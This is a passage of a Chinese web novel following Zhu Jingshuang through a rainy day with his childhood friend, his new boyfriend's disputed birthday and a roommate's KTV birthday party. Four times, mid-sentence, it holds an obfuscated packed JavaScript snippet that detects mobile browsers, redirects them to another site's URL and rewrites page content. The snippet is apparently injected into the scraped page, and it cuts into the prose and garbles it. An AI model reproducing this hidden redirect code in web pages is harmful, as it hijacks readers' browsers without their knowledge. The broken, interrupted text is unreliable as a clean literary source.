不知道是不是错觉,万则越总觉得今天的祝惊霜心情不是很好,浑身都仿佛被一股低气压笼罩着。 一声惊雷划破天幕,万则越突然说:“你今天穿裙子了。” 他今天看见祝惊霜的第一眼就发现,对方今天穿了一件淡紫色的连衣裙,衬得整个人身姿格外修长。 祝惊霜的眉眼线条优越,每一笔都鲜明精致,搭配起裙子来也不显违和,却又不会让人错认性别,一眼便能看出是个气质冷冽的漂亮男人。 平时在学校祝惊霜基本上都是穿的最简洁的衬衣和长裤,但万则越是知道他偶尔会穿裙子的。 有时候是需要去当模特,有时候是为了社团表演,还有的时候,是为了去见一个人。 祝惊霜还没来得及回话,便看见贺栩樾打着一把红色的伞从雨中走出,瞬间忘了自己原本的话,抬头望过去。 离开前他又和万则越说了一句“谢谢”,除此之外也没有更多的了。 追他的人不少,像下雨天送伞这种小事更是无数人做过,他会感激,却不会因此而多感动。 他从不缺为他打伞的人。 望着昏暗光线里祝惊霜逐渐远去的背影,万则越的拳头紧了紧,目光暗沉。 每一次祝惊霜冷冰冰地拒绝他转头奔向别的男人时,他的心里都会浮现出无限阴暗的想法。 想要那双黑色的眼眸从此只能看见自己的身影,想要让那冷漠的神色因为自己而破碎,想要把那个高高在上的人困入怀中狠狠占有…… 可这些不过是妄想,现实里他好不容易和祝惊霜亲密了一点,却一朝回到解放前,祝惊霜不再记得他,他所有的努力都成了另一个人的成果。 见到祝惊霜,贺栩樾说的第一句话是:“刚刚和你说话的那个男人是谁?之前好像没有见过他。” 第二句是,“你今天怎么穿裙子了。” “一个学弟。”祝惊霜轻描淡写地概括,没有细说,随后回答了第二个问题:“因为今天要见你。” 他的神色没什么变化,贺栩樾却无端察觉到他此刻低落的心情。 每到下雨天,祝惊霜的心情都不会好。 “见我就要穿裙子?”贺栩樾好笑地挑了挑眉。 祝惊霜今天穿的这条裙子很漂亮,深浅不一的紫丝丝缕缕晕染着,袖口一点白如同羽毛一般,裙摆缀着星星点点的珍珠,衬得他皮肤白的仿若透明。 裙子本身风格温柔,却因为穿着的人气质冷淡,显得高傲优雅起来。 祝惊霜走到伞下,和身边人一步步走进雨里,一向冷冽的眉眼仿若冰雪融化,还染着淡淡的笑意:“你不是来接我吗?” 贺栩樾失笑,原来意思是给他的奖励。 在祝惊霜没有出生的时候,祝惊霜的哥哥一直以为会是个妹妹,买了很多很多小裙子。 后面祝惊霜出生了,发现是男孩后他哥哥不想浪费那些小裙子,也就将错就错给他穿。 那时候贺栩樾就住在祝惊霜隔壁,两家人关系很好,还是小孩的贺栩樾很喜欢打扮祝惊霜,裤子裙子衬衫卫衣什么衣服都有,全都往小祝惊霜身上套。 祝惊霜小时候很安静,精致漂亮到像个洋娃娃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403479|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,因为年龄小所以冷着脸也不凶,反而很可爱。 后面长大了一点,他就不怎么肯穿裙子了,倒不是因为讨厌穿,而是因为贺栩樾想让他穿,他就故意不穿。 现在基本上只有贺栩樾生日或者重要节日他才会主动穿裙子。 祝惊霜很喜欢逗贺栩樾,喜欢看到对方像找不到骨头一样急得团团转。 他其实并不是性格恶劣的人,甚至因为幼年时父母忙于工作缺少关爱,导致他的性格有点凉薄,对别人的情绪不敏感也不在意。 其实贺栩樾并没有非要看他穿裙子,祝惊霜穿什么都好看。 但他看得出祝惊霜想逗自己看自己着急,所以也就顺坡下驴,故意做出着急的样子。 他的演技很拙劣,祝惊霜可能看出来了,却总是笑得更欢。 本质上算两个人心照不宣的换装小游戏。 贺栩樾把伞往祝惊霜那边倾斜,自己的半个肩膀几乎都露在雨里。 满世界都是雨水混合着泥土的气味,他却在其中嗅到熟悉的清香,是祝惊霜身上的味道。 “发什么呆呢,到了。” 清冽平稳的声音响起,贺栩樾回过神来,才发现自己差点走过头。 随着雷声响起,雨越下越大,看起来短时间内是不会停了。 他们合租的地方离学校很近,但雨太大了,哪怕有雨伞贺栩樾的全身依然湿透了。 “你快去洗澡换衣服。”祝惊霜瞥了他一眼,立刻就知道面前人肯定又是为了给他遮雨不顾自己。 “你先去。”贺栩樾却不肯:“我身体好,不像你,体质那么弱。” 祝惊霜被他气笑了,消沉的情绪都有所消散,张口想反驳,刚启唇还没来得及说话就打了个喷嚏。 “你看你看。”贺栩樾有些无奈,也不嘲笑他了,一路把他推进浴室。 祝惊霜从小身体就不好,小时候他们一起偷偷跑出去玩,结果祝惊霜一回家就发了高烧,把才幼儿园的贺栩樾吓了个半死。 后面贺栩樾还因为私自带祝惊霜出去挨了顿打,闹得一阵鸡飞狗跳。 反观贺栩樾,从小就各种滚泥坑钻狗洞,哪怕掉河里了出来依然什么事都没有,不管怎么闹都活蹦乱跳,和祝惊霜截然不同。 祝惊霜看了贺栩樾健壮的体格一眼,冷哼一声,“啪”地关了浴室门。 贺栩樾差点被夹到手,“啧”了一声:“脾气那么大。” 祝惊霜洗完澡一出来就看见桌上放着一碗热气腾腾的姜汤,他站在原地停顿几秒,最后决定当做没看见。 结果一转身,发现贺栩樾就站在身后好整以暇地看着他。 祝惊霜看他的眼神就知道没好话,先发制人转移话题:“你怎么还不去洗澡?” 刚从浴室里出来,他的皮肤都透着粉,这样故意冷着脸时分外好颜色。 “我看你喝完姜汤就去。”贺栩樾没被他唬住,指了指桌上的姜汤。 祝惊霜皱了皱眉,还是走了过去。 贺栩樾知道他喝不惯姜汤的味道,看他这副模样莫名心软,伸手想摸一下他的头。 正在这时,祝惊霜放在桌上的手机响了,来电人显示是“赵牧铭”。 5. 糖果(二更) 电话接通,满是焦急和担忧的男声立刻响起:“小霜你回到家了吗?有没有淋雨?” 祝惊霜这才想起,他还没和赵牧铭报平安。 但这也不能怪他,毕竟他是第一次谈恋爱,并没有事事对恋人汇报的自觉。 加上他本就是冷心冷情的性子,也就很难从心底把这个刚上任没几天的男朋友看的太亲近。 “嗯,到了。” “没有不舒服,别担心。” …… 祝惊霜和赵牧铭打电话的时候,贺栩樾就在一旁安静地等待。 他听不见电话另一头在说什么,只能从祝惊霜简短的回复里推测出对面应该是在关心祝惊霜。 终于,祝惊霜准备挂电话了。 挂断之前他目光罕见地露出几分犹豫,对着手机轻声说了一句:“你也是,这几天注意天气,小心着凉。” 别人不清楚,贺栩樾却是知道的,这已经是祝惊霜所能表达爱的极限了。 见祝惊霜结束了通话,贺栩樾终于开口说话,语气不急不慢:“是你那个新交的男朋友?” “嗯。”祝惊霜点了点头,目光看向桌面。 贺栩樾定定地看着他,嘴角勾起一抹淡淡的笑。 “笑什么?”祝惊霜没忍住瞪了他一眼。 贺栩樾摇摇头,笑道:“没笑什么,就是没想到你谈起恋爱是这副模样。” “说起来……”祝惊霜抬眸看他,双眼微弯如秋水粼粼:“还挺好奇你谈起恋爱的样子。” “我才不谈呢,谈恋爱就是给自己套枷锁,我干嘛要上赶着找罪受。”贺栩樾嗤之以鼻。 “内涵我呢。”祝惊霜不冷不热地瞥他一眼,却也没生气。 贺栩樾的父母是商业联姻,彼此没有什么感情,家庭氛围很冷淡,在这样的环境下贺栩樾对恋爱没有兴趣也是很正常的事情。 “我哪敢啊。”贺栩樾笑着揉了揉他的脑袋,主动转移话题:“书房布置好了,你要不要看看?” 祝惊霜双眼一亮。 …… 贺栩樾去洗澡了,祝惊霜一个人走进书房。 一进门就看见放在正中间的画架,桌上摆着一排颜料,墙上挂着祝惊霜之前的画作。 上周贺栩樾突发奇想要把书房改成画室给祝惊霜画画,没想到动作那么快。 祝惊霜走到窗边,外面阴雨连绵,雨水在玻璃窗上留下蜿蜒的痕迹。 贺栩樾洗完澡推开门,看见的就是这副场景。 站在窗边的美人身姿修长,白玉般的面容在阴影中半明半昧,垂落的黑发如浓墨一般,黑色的睡衣衬得整个人气质分外清冷。 听见动静,祝惊霜侧头望过来,纯净的黑眸里微光细闪。 明明已经认识那么多年,贺栩樾却还是感到心口一颤。 他深呼吸几下,看了眼外面的天色:“那么大雨,明天还去吗?” 本来祝惊霜和他约好周末一起去美术馆,还为此拒绝了男友的约会申请。 但看现在的天气,明天大概率依然会有大雨。 贺栩樾身上还带着刚新完澡的热气,他一走近祝惊霜就感觉到了。 “那就下次再去吧。”祝惊霜漫不经心道。 他看见贺栩樾露出的肩臂肌肉流畅,线条分明,有些好奇地伸手戳了戳,下一秒就感觉到面前人手臂上肌肉瞬间绷紧。 “乱摸什么。”贺栩樾放松下来,抬手轻轻捏了一下祝惊霜的脸,入手触感嫩滑,是和本人冷冰冰的外表不符合的柔软。 两天时间转瞬即逝,祝惊霜还在门口就听见宿舍里晏恒洲和另一个舍友的聊天声,好像在说什么宿舍怪谈。 一打开门,两双眼睛齐刷刷看了过来,祝惊霜动作顿了顿。 晏恒洲移开目光“啧”了一声,另一个舍友则是热情地和祝惊霜打招呼,然后做出一副神秘兮兮的样子压低声音道:“你知道我们宿舍楼下有个怪谈吗?” 祝惊霜和除了晏恒洲以外的舍友相处的都还不错,很配合地摇了摇头:“不知道。” 舍友煞有其事道:“在宿舍楼下绝对不能回头,尤其是晚上。” 祝惊霜只停顿了几秒就立刻反应过来,跟在他身后回来的方宸却没听懂,不住追问:“为什么?” 舍友神秘一笑,补充了一句:“千万不能回头,不然会被计入神秘名单。” 祝惊霜微微侧头,没忍住牵起嘴角。 方宸看了他一眼,晃了晃他的肩膀:“你知道了对不对?是什么名单?” 祝惊霜抿了抿唇,按耐住笑意:“晚归名单。” “哦!”方宸恍然大悟。 学校管的严,每天都有要求门禁,除非提前报备申请不然都会被计入晚归名单扣学分。 宿舍楼下的刷脸机很敏感,在楼下排队等电梯时不小心回头都会被刷脸机记录成“出行未归”。 也就是舍友开玩笑说的所谓“宿舍怪谈”。 晏恒洲在旁边没忍住笑出声,在祝惊霜看向自己时却又控制住了表情,做出不屑一顾的样子。 “对了。”舍友从包里掏出糖果,给了祝惊霜和方宸一人一把:“给你们的。” “谢谢。”祝惊霜道了谢,好奇问了句:“怎么突然买那么多糖果?” 舍友挠了挠头:“过几天万圣节,就买了一些。” 万圣节。 祝惊霜恍惚了一瞬,脑海中有什么一闪而过,仿佛忘记了什么重要的事情。 收下的糖果很快就派上了用途,这天是祝惊霜表妹的生日,他下了课直接去到亲戚家里,一打开门就看见今天的寿星坐在沙发上哭。 表妹只是默默流泪,没有发出声音,大人们都在厨房忙碌没有发觉,一时之间没有人顾得上管她。 祝惊霜想了想,从包里翻出舍友给的糖果,走到表妹面前。 他很少吃甜的,收下之后基本没吃过,大部分情况下都会拿去给其他朋友瓜分。 现在刚好用来哄人。 表妹留着短发,哭的脸红通通的,含了一颗糖果。 或许是甜滋滋的味道让她心情有所好转,眼泪不流了,转而露出一个笑。 见她止住眼泪,祝惊霜松了口气,坐到她的旁边:“怎么一个人在这里偷偷伤心?” “没有伤心。”表妹强调了一句才继续道:“是辣条太辣了,没有水喝。” 祝惊霜点点头,不知道信了还是没信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403480|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 头顶的灯光明亮,表妹侧仰着头去望祝惊霜白玉般的脸和垂落在脸颊两侧乌黑柔顺的长发,好奇道:“哥哥你留那么长的头发不觉得打理起来很麻烦吗?” “习惯了就好。”祝惊霜随意地把碎发别在耳后:“彤彤觉得这样看起来奇怪吗?” 彤彤是表妹的小名。 说来他们家也是神奇,祝惊霜喜静,从小就习惯留一头黑色长发;彤彤则刚好相反,外向活泼爱热闹,剪了短发到处跑。 之前有远房亲戚嚼舌根,背地里说他们男不像男,女不像女。 从小到大祝惊霜遇到过很多人觉得男人留长发奇怪的,对于高矮胖瘦头发长短穿衣风格之类每个人都会有不同的看法,但他并不会因为那些异样的目光而改变自己。 彤彤连连摇头:“不奇怪。” 她抬头看了祝惊霜一会儿,眸光很干净,又补充道:“很好看。” 祝惊霜笑了一下,又给了她一颗糖。 电视机里放着色彩鲜艳的动画片,彤彤边吃糖边看,神色专注。 祝惊霜看着看着却忍不住开始走神。 明天就是万圣节了,他总觉得明天是什么很重要的日子,却怎么也想不起依据。 这时,裤兜里手机振动几下,赵牧铭打来了电话。 祝惊霜走到阳台接听,听见另一边传来含笑的男声:“小霜?” 隔着电话,他都能想象出对面是怎样一副笑相,耳边的声音继续道:“你明天有空吗?” 这一秒祝惊霜忽然福至心灵,想起明天是什么日子了。 明天是十月三十一号,赵牧铭的生日。 “有。”祝惊霜换了一边手拿手机,望向浓墨般的天边。 “太好了。”赵牧铭的语气轻快,听起来很有活力:“我们明天去看电影吧。” “好。”祝惊霜听见厨房有人在喊自己的名字,答应后解释了两句就挂了电话。 从亲戚家离开后祝惊霜本来准备直接回学校,刚走出几步,却听见身后传来母亲小心翼翼的声音:“小惊,你今晚回家住吗?” 像是怕被拒绝,她又连忙补充道:“你的房间都有定期收拾的,不会落灰。” 祝惊霜脚步一顿,还是犹豫着应了声好。 回去的路上车里一片寂静,祝惊霜的父亲在前面开车,母亲和他并排坐在后面,却没有一个人说话。 祝惊霜不由得想起小时候,他每一次和父母一起出门,好像都是这样正襟危坐。 其实要说关系多差也没有,家庭氛围甚至算得上和谐,只是祝惊霜的父母在他小时候成日忙工作,一年到头也见不上几回。 在他十三岁以前,空荡荡的房子里只有他和哥哥两个人,他的童年记忆里鲜少出现父母的身影,基本全是哥哥和竹马贺栩樾。 等到后来大儿子出事,祝父祝母把祝惊霜接回身边,才迟来地发觉自己和小儿子之间太过生疏,想要弥补却发现祝惊霜已经养成了冷漠疏离的性子,再难亲近。 想着想着,祝惊霜就有些昏昏欲睡。 趁着等红绿灯,祝父祝母无声地交换了视线,祝父悄悄调高了车内空调的温度,祝母则拿出毛毯披在了祝惊霜身上。 6. 生日(一更) 祝惊霜没有谈过恋爱,不过哪怕是朋友生日也要送礼物,这点他是知道的。 但他现在面对琳琅满目的货架,却止不住发愁。 他并不知道赵牧铭喜欢什么,在对方追求自己的这些日子以来,他鲜少真正去注意对方这个人,更别提喜好。 最后祝惊霜笨拙地决定打电话询问朋友的建议—— “给对象的生日礼物?你直接给他买个蛋糕得了。”贺栩樾在电话那头撇了撇嘴。 “送皮带吧,皮带蕴意好。”方宸不知道又在网上看了什么,语气兴奋。 晏恒洲则是说:“把你自己送给他好了。” 别误会,祝惊霜并没有主动去问晏恒洲,认识那么多年他们连联系方式都没有加,只是刚好他给方宸打电话时方宸在宿舍外放,晏恒洲路过听见,故意回了一句来恶心他。 无视了晏恒洲的话,在距离约定好见面的时间前一个小时,祝惊霜听取意见买了蛋糕和皮带当做礼物。 生日当天才买礼物,听起来就很敷衍,但祝惊霜不是故意的,他连自己的生日都不记得,更别提其他人的。 一路上万圣节气息浓厚,许多商家都在门口挂上了万圣节风格的南瓜灯和幽灵摆件,路边的大树上还挂着五颜六色的小灯。 看见赵牧铭后,祝惊霜直接把蛋糕和礼物一起递过去:“生日快乐。” 赵牧铭回头看他时满眼还是止不住的欢喜,在听见这四个字后嘴角的笑意却瞬间凝固。 今天不是他的生日。 但祝惊霜的态度太自然太坚定了,所以今天只可能是“正主”的生日。 赵牧铭低下头,掩住眼底的暗光。 刚刚下意识接过的蛋糕和礼物一时之间只让他觉得无比烫手,但他却只是抬起头,调整好表情故作惊讶道:“小霜你是不是记错了,今天不是我的生日。” 他的笑容灿烂,谁也听不出他暗地里的咬牙切齿。 在外人看来,祝惊霜并没有多喜欢赵牧铭,答应告白可能只是被对方的坚持所打动。 恋爱前是冷冷淡淡的模样,恋爱后好像也没什么差别。 只有赵牧铭能感觉到,是不一样的。 祝惊霜对他有情,可能不深,可能不知道如何表达,但是绝对有。 赵牧铭也因此更加嫉妒,嫉妒那个真正被祝惊霜惦记的人。 这次祝惊霜“记错”生日也更让他深刻意识到,自己只是一个小偷。 真正被祝惊霜记在心里的,从来都不是自己。 祝惊霜的眼睛微微瞪大,难得露出惊讶的神色:“我记得你说的是十月三十一号。” 他的语气弱了几分,明显不太确定。 在对方追求他的日子里其实鲜少主动提起自己的事情,他一开始并不在意对方,很多事情也不会特意去记。 赵牧铭定定地看了祝惊霜几秒,再次开口时声音低哑:“我的生日是十二月三十一日。” 他一字一句说的很认真:“以后不要记错了。” 语气生硬,神色却像是在恳求。 祝惊霜试图回想,但不知为何,关于对方曾经那次提起自己生日的回忆却仿佛笼罩着一层迷雾,越是努力去想就越是模糊不清。 难道真的是十二月三十一日?可他为什么会在一开始就坚定认为是今天。 真的是记错了吗?十二月三十一日在每年的最后一天,应该很好记才对。 “这就当作你送我的万圣节礼物好了,我很喜欢,谢谢你。”不等祝惊霜继续深想,赵牧铭又飞速转移话题:“我也给你准备了万圣节礼物。” 他是故意的。 他想要这个日子在祝惊霜心里只是万圣节,不再是其他任何特殊的日子。 得不到答案,祝惊霜也不再纠结,转而去看赵牧铭给自己的礼物。 很精巧的礼盒,拆开后是一个吐着舌头小幽灵,质感很好。 祝惊霜按了一下底下的按键,发现竟然还能发光。 赵牧铭望着面前人映着细碎灯光的眼眸,轻声道:“听说你晚上睡觉习惯开小夜灯,刚好万圣节,我就找人定做了一个,不知道你喜不喜欢。” 祝惊霜抬眸看他,眸中波光粼粼:“挺好看的,谢谢。” “你喜欢就好。”赵牧铭松了口气,紧绷的肌肉放松下来。 这是他本人第一次给祝惊霜送礼物,太贵重的怕祝惊霜不肯收,太廉价的又配不上祝惊霜,最后才斟酌着送出现在这份礼物。 好在祝惊霜看起来还算满意。 对上赵牧铭发亮的双眼,祝惊霜抿了抿唇,心里无端对自己先前记错对方生日有些愧疚,犹豫了几秒还是轻声保证:“以后不会记错了。” 赵牧铭愣了一下才反应过来这是在回复自己之前的恳求,难以自抑的喜悦感瞬间涌上心头。 这是第一次,祝惊霜记住了只属于他赵牧铭的锚点。 呼吸变得有些急促,赵牧铭的喉结无意识滚动了一下。 迟早有一天,他会覆盖祝惊霜记忆里所有其他男人的痕迹,让他彻彻底底属于自己。 祝惊霜被赵牧铭眼中浓烈的情愫烫地动作一顿,几秒后移开了目光。 也就因此忽略了,那藏在狂喜之下的偏执和疯狂。 …… 第二天有早课,结束约会后祝惊霜直接回了宿舍。 在他进门后,原本热闹的宿舍却突然安静了下来,几个人你看看我我看看你,时不时瞥一眼祝惊霜,满脸欲言又止。 祝惊霜扫了一眼,除了晏恒洲之外宿舍其他人都在这了。 最后其中一个舍友被推出来解释:“是这样的,过几天是晏恒洲的生日,我们打算按照前几年一样一起买个蛋糕就当作礼物,想问问你要不要一起。” 从第一年开始,他们宿舍的传统就是每个人过生日时其他人一起买个蛋糕,就不另外送礼物了。 但祝惊霜和晏恒洲一直水火不容,前几年都默认不参与对方的生日。 “……本来想着你和前几年一样不参加,但是今年应该是最后一次了,明年的这个时候我们应该要去实习,之后就毕业了,所以……”舍友顶着祝惊霜平静的目光心惊胆跳,好不容易才磕磕绊绊说完。 祝惊霜微微垂眸,明白了他们的意思。 他和晏恒洲的矛盾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403481|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无法化解,却终归算不上什么深仇大恨,给对方庆生一次算不上什么。 但祝惊霜觉得晏恒洲大概不会希望在生日这天看见讨厌的人,自己去不过是相看两相厌。 或许是他沉默的时间有点久,方宸以为他生气了,连忙开口道:“你如果不想就算了,我也不想去,他们还非要去什么KTV……” “没有。”祝惊霜轻轻吸了一口气:“蛋糕和你们一起买,但那天我有点事,就不和你们一起去了。” 其他人面面相觑,都不知道应该说什么。 祝惊霜的意思是,他会和他们一起分摊买蛋糕的钱,但是当天不和他们一起去KTV。 “行,那我到时候给你拍视频,让你听我的天籁之音。”方宸率先笑着开口。 “就你那破铜锣嗓还天籁之音。”有人吐槽。 方宸大怒:“你什么意思!” 他们打闹的时候,另一个舍友悄悄凑过来,望着祝惊霜雪白的侧脸,鼻腔里盈满清新淡雅的香气,他的耳根不自觉开始发烫:“那我们给你留蛋糕,你忙完回来吃。” 祝惊霜没有察觉到对方的不对劲,漂亮的眉眼含着若有若无的笑意,淡淡应了声好。 很快就到了晏恒洲生日的这一天——祝惊霜记得很深,因为晏恒洲的生日很好记,十一月十一日,双十一。 其他舍友约好了去KTV给晏恒洲庆生,祝惊霜在早上趁着其他人还没起床就想一个人先悄悄出门。 上午十点,505宿舍门轻轻打开,发出不大不小的声响。 后背上的黑色背包里装着祝惊霜常用的工具和颜料,沉甸甸的,体积也很大,衬得他身形更加纤瘦。 快走到电梯口时,他却听见身后传来一阵急促的脚步声,在安静的长廊里格外明显。 “祝惊霜!” 伴随着脚步声靠近略带磁性的年轻男声随之响起,急促到顾不上控制音量。 祝惊霜有些惊讶地扭头,看见朝自己跑来的晏恒洲。 “你要去哪里?” 高大健壮的男人挡在他面前,身上的衬衫有些凌乱,一看就是紧急从被窝里赶出来。 看在对方今天生日的份上,祝惊霜没有计较这如同质问的语气,眉眼冷淡:“画室。” 他穿着简单的白色印花短袖和灰色休闲裤,皮肤白的仿佛在发光,一头黑发柔顺地垂在脑后,整个人看起来就像是冬雪里盛放的寒梅。 “真的是去画室?那你怎么穿的白色衣服。” “和你没关系。”祝惊霜有些不耐烦了。 晏恒洲皱眉看了他一会儿,突然伸手要去拎祝惊霜背后的包:“我和你一起去。” 祝惊霜下意识拍掉对方的手,发出清脆的响声,同时冷声开口:“你又想干什么?” 晏恒洲皮糙肉厚的,被拍的地方连红都没红,闻言理直气壮道:“只有你能去画室,我不能去?” 说话时他靠的很近,高大身形上强势的压迫感扑面而来。 “你……”祝惊霜蹙起眉看他,还没来得及说完下一秒就听见对方语气咄咄逼人道: “你为什么不来给我过生日?” 7. 唱歌(二更) 直到走进KTV,祝惊霜都没想明白自己怎么就从去画室的路上被晏恒洲莫名其妙拉来了KTV。 在走廊拉着祝惊霜质问了一通后晏恒洲没有得到合心意的答案,黑着脸不肯放手。 僵持半天,最后祝惊霜虽然依然感到莫名其妙,却还是勉强妥协,把画具放回宿舍。 祝惊霜面无表情地低头吸了一口手里拿着的奶茶,是晏恒洲路上买来硬塞给他的。 和他的冷漠不同,晏恒洲看起来很高兴——他成功阻拦了偷偷溜出门的祝惊霜。 某种程度来说,算他赢了祝惊霜一次。 这家KTV就在学校附近,是新开的,设施都很新,大堂里的灯光绚烂多彩,在地上打出转动的光影。 包间在二楼,祝惊霜一边跟着晏恒洲上楼一边问道:“其他人呢?” 他实在是不想和晏恒洲继续单独相处了。 “在来的路上了,急什么。”晏恒洲的语气算不上好,但看起来心情很是不错,眉眼舒展,还带着笑意。 其他舍友不知道这变故,收到晏恒洲说自己先过去的消息也没多想,却没想到一打开包间的门就对上一双半隐在光里的墨色眼瞳。 昏暗光线下坐在沙发上的美人腰细腿长,眉眼冷淡,精致漂亮的像个假人。 哑然片刻,还是方宸最先反应过来,声音欢快道:“你也在啊,我们还以为你不来了呢。” 祝惊霜不知道怎么解释自己出门时被晏恒洲拉回来的事,便只是笑了笑。 其他人见状也没有深究,笑嘻嘻地开始点歌。 “点首什么先呢?” “点这首!来KTV怎么能不点这首歌?” …… 吵闹声中,祝惊霜的手机在口袋里振动了一下。 【赵牧铭:小霜你现在在哪?我去找你好不好】 祝惊霜垂下眼帘,素白修长的手指戳了几下手机屏幕: 【祝惊霜:和舍友去KTV了,有什么事吗?】 【赵牧铭:没有,就是想见你】 【赵牧铭:〔星星眼.jpg〕】 “给谁发消息呢。” 祝惊霜还低着头,耳边就响起晏恒洲阴阳怪气的声音。 “出来玩还一直看手机。” 虽然知道对方大概率是在没事找事,但是出来玩一直看手机确实不太好。 祝惊霜没理会他的指责,给赵牧铭发了句“明天我去找你”就放下手机,转头看向晏恒洲。 在这样冷淡又锋利的目光下晏恒洲很快就撑不住了,主动移开视线:“干嘛这样看着我,我又没骂你。” 祝惊霜盯着他思考了几秒,最后冷哼一声,选择不和寿星计较。 这时,一个舍友在上面唱了好一会儿有点累了,转头一看坐在沙发上的晏恒洲和祝惊霜,顿时双眼一亮:“你们也来唱一首!” 祝惊霜不想扫他们的兴,刚想答应,话到嘴边又拐了个弯:“寿星先唱。” 晏恒洲窥见他冷淡神色下的狡黠,对于他的报复心又有了深刻的认知。 其他人不知道,祝惊霜可是清楚的,他唱歌跑调。 “我来就我来。”晏恒洲不肯服输,上去点了一首《可惜没如果》。 从他开始唱第一句起,其他舍友就一直在笑。 原因无他,实在是因为他唱的几乎没有一句在调上。 ——“全都怪我 不该沉默时沉默 该勇敢时软弱 如果不是我……” 唱到高潮时他们更是笑得人仰马翻,祝惊霜目的得逞,眉眼弯弯地低头喝了一口奶茶。 晏恒洲只当做看不见,依然在很努力地往下唱: ——“倘若那天 把该说的话好好说 该体谅的不执着 如果那天我 不受情绪挑拨 你会怎么做……” 也许是唱出感觉来了,晏恒洲逐渐能找到一点调,越唱越投入。 祝惊霜听着听着嘴角却不自觉拉平,不由自主想起答应和赵牧铭在一起前的那天晚上。 尽管他和赵牧铭都没有再主动提起过那次争吵,但他知道,不提不代表过去了。 ——“那么多如果 可能如果我 可惜没如果 只剩下结果 可惜没如果……” 唱完后晏恒洲还意犹未尽,又去点歌台点了好几首,还点名道姓让祝惊霜陪他唱其中一首:“就你还没唱过,你必须来。” “就是就是。”一个舍友笑着附和:“惊霜你平时话少就算啦,在KTV怎么也那么沉默。” 祝惊霜无奈起身。 ——“微光潮汐繁华千寻在深海中潜行 我唱吟 蔚蓝色寰宇赋予我的回应多冷清……” …… 最后祝惊霜被起哄着唱了好几首才被放过,他的声音很好听,干净冷冽,让人想起山间的清泉。 但他唱起歌来神色和音色都太过冷淡,再缱倦的情歌也能被他唱出一种断情绝欲的感觉。 其他人都玩嗨了,随着熟悉的音乐前奏响起,气氛越来越炙热。 ——“今天我 寒夜里看雪飘过 怀着冷却了的心窝飘远方……” 方宸开始唱的第一句就跑调了,晏恒洲在一旁吐槽道:“你这都跑成啥样了,刚刚还好意思笑我。” “我对前面不熟啊,等高潮部分我就会唱了。”方宸把目光转向祝惊霜:“小霜听过我唱的,我唱的还不错,对吧?” “对。”祝惊霜双目含笑,非常捧场。 “看吧!小霜都说我唱的好。”方宸心满意足地对着晏恒洲炫耀。 另外两个舍友在抢话筒,没顾得上理会他们的纷争。 说话间,歌曲来到了高潮部分: ——“原谅我这一生不羁放纵爱自由 也会怕有一天会跌倒 oh! no!” 一片鬼哭狼嚎,没抢到话筒的舍友扯着嗓子清唱,声音竟然不输话筒,全都唱的陶醉。 “像有猴子在叫。”毫不留情的点评被淹没在震耳欲聋的音乐声中,祝惊霜被这氛围传染,漂亮的眉眼染上丝丝缕缕的笑意。 ——“背弃了理想谁人都可以 哪会怕有一天只你共我 oh!yeah!” 祝惊霜漆黑的眼底倒映出包间里的画面,五颜六色的灯光里晏恒洲作为寿星成功拿到麦克风,正举着在台上跑上跑下,俨然把自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16403482|184372||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己当成了舞台中心的主角;方宸和其他几个舍友一边抢着麦克风一边大声跟唱。 ——“原谅我这一生不羁放纵爱自由……” “霜儿你怎么不唱。”方宸不知道什么时候坐到他身旁,一只手揽住他的肩,明明没有喝酒却已经是一副醉态,晕乎乎道:“你身上好香啊。” 他的身材高大健壮,这样单手揽住祝惊霜就好像把祝惊霜整个人圈在怀里一般。 目眩神迷的灯光让祝惊霜仿若置身梦境,耳边的声音太过嘈杂,灵魂和身体仿佛一分为二。 恍惚间他笑着回了句什么,方宸没有听清,只好越贴越近,视线却不自觉落在祝惊霜红润的双唇上。 像果冻一样。 